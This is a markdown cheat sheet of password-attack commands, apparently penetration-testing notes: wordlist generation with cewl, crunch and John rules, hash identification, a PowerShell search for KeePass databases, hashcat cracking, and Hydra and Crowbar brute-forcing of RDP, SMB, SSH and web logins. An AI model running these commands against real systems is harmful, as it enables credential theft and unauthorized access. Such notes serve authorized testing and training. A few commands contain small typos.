password_attacks.md

Password Attacks

Generating Wordlists

Cewl - Custom Word List generator

-> generating wordlist based on information from a website

cewl <domain> -w wordlist.txt

Crunch - Wordlist Generator

-> Character Translation
@ = Lower case alpha characters
, = Upper case alpha characters
% = Numeric characters
^ = Special characters including space

-> Usage

./crunch <min-len> <max-len> [charset]

-> basic examples

crunch 9 9 -t ,@@@@^%%%

crunch 4 6 0123456789abcdef -o wordlist.txt

John Mutation

-> Add the rules you want in the /etc/john/john.conf file inside the rules module [List.Rules:Wordlist] to modify your wordlists
-> basic rule example $@$[1-2]$[0-9]$[0-9]$[0-9]

john --wordlist=wordlist.txt --rules --stdout > mutated.txt

• https://www.openwall.com/john/doc/RULES.shtml

Cracking Password

Identifying Hash Type

hashid <hash>

• https://www.tunnelsup.com/hash-analyzer/
• https://hashes.com/en/tools/hash_identifier

Hashing different file types for cracking with 2john

• ssh2john
• rar2john
• zip2john
• keepass2john
• office2john
• pdf2john
• pwsafe2john
• racf2john
• vncpcap2john
• hccap2jjohn
• keychain2john
• mozilla2john

Password Manager

-> Search KeePass database files

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

-> Hashing the .kdbx file

keepass2john Database.kdbx > keepass.hash   

-> Finding Hash-Mode ID of hashcat

hashcat --help | grep -i "KeePass"

-> Cracking

hashcat -m 13400 keepass.hash

Brute Force Attacks

RDP Brute Force - Hydra

hydra -L /usr/share/wordlists/rockyou.txt t -p "<password" rdp://<IP>

RDP Brute Force - Crowbar

crowbar -b rdp -s X.X.X.X/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 1

SMB Brute Force - Hydra

hydra -L /root/Desktop/user.txt -P /usr/share/wordlists/rockyou.txt <IP> smb

SSH Brute Force - Hydra

hydra -l <user> -P /usr/share/wordlists/rockyou.txt ssh://<IP>

HTTP POST Login Form Brute Force - Hydra

hydra -l <user> -P /usr/share/wordlists/rockyou.txt <IP> http-post-form "/login.php:user=admin&pass=^PASS^:Invalid Login" -vV -f

HTTP GET Login Form Brute Force - Hydra

hydra -l <username> -P /usr/share/wordlists/rockyou.txt -f <IP> http-get /login